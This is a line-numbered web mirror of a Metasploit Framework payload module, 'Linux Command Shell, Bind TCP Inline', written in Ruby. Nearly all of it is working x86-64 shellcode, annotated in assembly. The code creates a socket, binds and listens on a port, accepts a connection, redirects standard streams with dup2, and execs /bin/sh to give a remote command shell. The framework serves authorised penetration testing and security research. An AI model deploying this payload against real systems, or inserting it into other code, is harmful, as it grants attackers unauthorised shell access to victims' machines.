CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/linux/x64/shell_bind_tcp.rb
Views: 11781
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = 86
10
11
include Msf::Payload::Single
12
include Msf::Payload::Linux
13
include Msf::Sessions::CommandShellOptions
14
15
def initialize(info = {})
16
super(merge_info(info,
17
'Name' => 'Linux Command Shell, Bind TCP Inline',
18
'Description' => 'Listen for a connection and spawn a command shell',
19
'Author' => 'ricky',
20
'License' => MSF_LICENSE,
21
'Platform' => 'linux',
22
'Arch' => ARCH_X64,
23
'Handler' => Msf::Handler::BindTcp,
24
'Session' => Msf::Sessions::CommandShellUnix,
25
'Payload' =>
26
{
27
'Offsets' =>
28
{
29
'LPORT' => [ 20, 'n' ],
30
},
31
'Payload' =>
32
"\x6a\x29" + # pushq $0x29
33
"\x58" + # pop %rax
34
"\x99" + # cltd
35
"\x6a\x02" + # pushq $0x2
36
"\x5f" + # pop %rdi
37
"\x6a\x01" + # pushq $0x1
38
"\x5e" + # pop %rsi
39
"\x0f\x05" + # syscall
40
"\x48\x97" + # xchg %rax,%rdi
41
"\x52" + # push %rdx
42
"\xc7\x04\x24\x02\x00" + # movl $0xb3150002,(%rsp)
43
"\x15\xb3" + #
44
"\x48\x89\xe6" + # mov %rsp,%rsi
45
"\x6a\x10" + # pushq $0x10
46
"\x5a" + # pop %rdx
47
"\x6a\x31" + # pushq $0x31
48
"\x58" + # pop %rax
49
"\x0f\x05" + # syscall
50
"\x6a\x32" + # pushq $0x32
51
"\x58" + # pop %rax
52
"\x0f\x05" + # syscall
53
"\x48\x31\xf6" + # xor %rsi,%rsi
54
"\x6a\x2b" + # pushq $0x2b
55
"\x58" + # pop %rax
56
"\x0f\x05" + # syscall
57
"\x48\x97" + # xchg %rax,%rdi
58
"\x6a\x03" + # pushq $0x3
59
"\x5e" + # pop %rsi
60
"\x48\xff\xce" + # dec %rsi
61
"\x6a\x21" + # pushq $0x21
62
"\x58" + # pop %rax
63
"\x0f\x05" + # syscall
64
"\x75\xf6" + # jne 33 <dup2_loop>
65
"\x6a\x3b" + # pushq $0x3b
66
"\x58" + # pop %rax
67
"\x99" + # cltd
68
"\x48\xbb\x2f\x62\x69\x6e\x2f" + # movabs $0x68732f6e69622f,%rbx
69
"\x73\x68\x00" + #
70
"\x53" + # push %rbx
71
"\x48\x89\xe7" + # mov %rsp,%rdi
72
"\x52" + # push %rdx
73
"\x57" + # push %rdi
74
"\x48\x89\xe6" + # mov %rsp,%rsi
75
"\x0f\x05" # syscall
76
}
77
))
78
end
79
end
80
81